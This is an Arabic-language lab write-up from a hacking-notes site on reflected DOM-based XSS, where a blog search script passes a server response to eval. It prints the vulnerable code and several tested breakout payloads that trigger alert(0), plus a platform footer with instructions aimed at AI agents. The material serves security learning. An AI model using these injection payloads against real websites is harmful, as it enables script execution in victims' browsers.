> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/reflected-dom-xss.md).

# XSS DOM منعكس

### XSS في DOM المنعكس

يعرض هذا المعمل ثغرة DOM مدروسة. البيانات المرسلة في الاستعلام يعيدها الخادم، ثم يتعامل معها سكربت من جهة العميل بشكل خطير ويكتبها في `eval`، مما يفتح الباب لتنفيذ الشيفرة.

يقوم العميل بإجراء طلب AJAX إلى `path + window.location.search`. وعندما تصل الاستجابة، يكون الكود هو:

```javascript
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " نتائج بحث عن '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "عرض المنشور";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "العودة إلى المدونة";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}
```

الـ `displaySearchResults` تعمل الدالة `searchResultsObj` وتنشئ عناصر بشكل ديناميكي (h1, h2, p, a, img, إلخ)، عن طريق تعيين `innerText` للعناوين والملخصات، لكن ذلك مهم `searchResultsObj` عبر `eval`.

```javascript
if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
```

<figure><img src="/files/e811b5f85323453fdeec6a0f1156550f818930dc" alt=""><figcaption></figcaption></figure>

إن استخدام `eval('var searchResultsObj = ' + this.responseText)` يُعدّ أمراً حاسماً: إذا احتوت الاستجابة الخاضعة للتحكم على نص مُشكَّل بشكل خاص، فمن الممكن كسر البنية المتوقعة وحقن شيفرة JavaScript التي سيتم تنفيذها أثناء التقييم.

* أرسل مرة أخرى (أو اعترض) `responseText` يحتوي على القيمة الهجومية لـ `searchTerm` أو حقل مشابه.
* أزل من السلسلة/‏JSON الحرفي المتوقع عبر إغلاق البنية وإضافة شيفرة قابلة للتنفيذ، ثم حيّد الباقي بواسطة تعليق (`//`) لتجنب أخطاء الصياغة اللاحقة.

<figure><img src="/files/0badc9be922b48eb689e5efc2e1bd3db54000ff8" alt=""><figcaption></figcaption></figure>

#### أمثلة على حمولات تم اختبارها

(هذه السلاسل مخصصة لوضعها في الجزء الخاص بالاستجابة المنعكسة — وهي تُظهر كيفية الخروج من البنية وتشغيل `alert(0)`)

```javascript
hello/"jordan

hello/"jordan}//
```

<figure><img src="/files/cdf05dd951a9bbe0293910a1828fbd438d1cfd99" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3b1c45ebf981cf1cfc6d449d90b3ac45aba0128d" alt=""><figcaption></figcaption></figure>

من خلال حقن إحدى السلاسل المذكورة أعلاه في الجزء المنعكس من الاستجابة، سيقوم `eval` بتفسير البنية المعدلة وتشغيل `alert(0)`، مما يوضح تنفيذ الشيفرة من جهة العميل عبر XSS في DOM المنعكس.

```javascript
hello/"*alert(0)}//
```

```javascript
hello/"+alert(0)}//
```

```javascript
hello/"-alert(0)}//
```

<figure><img src="/files/39454ccca6f36b5a0a9c5b17d1fbb14aea53f22e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/reflected-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
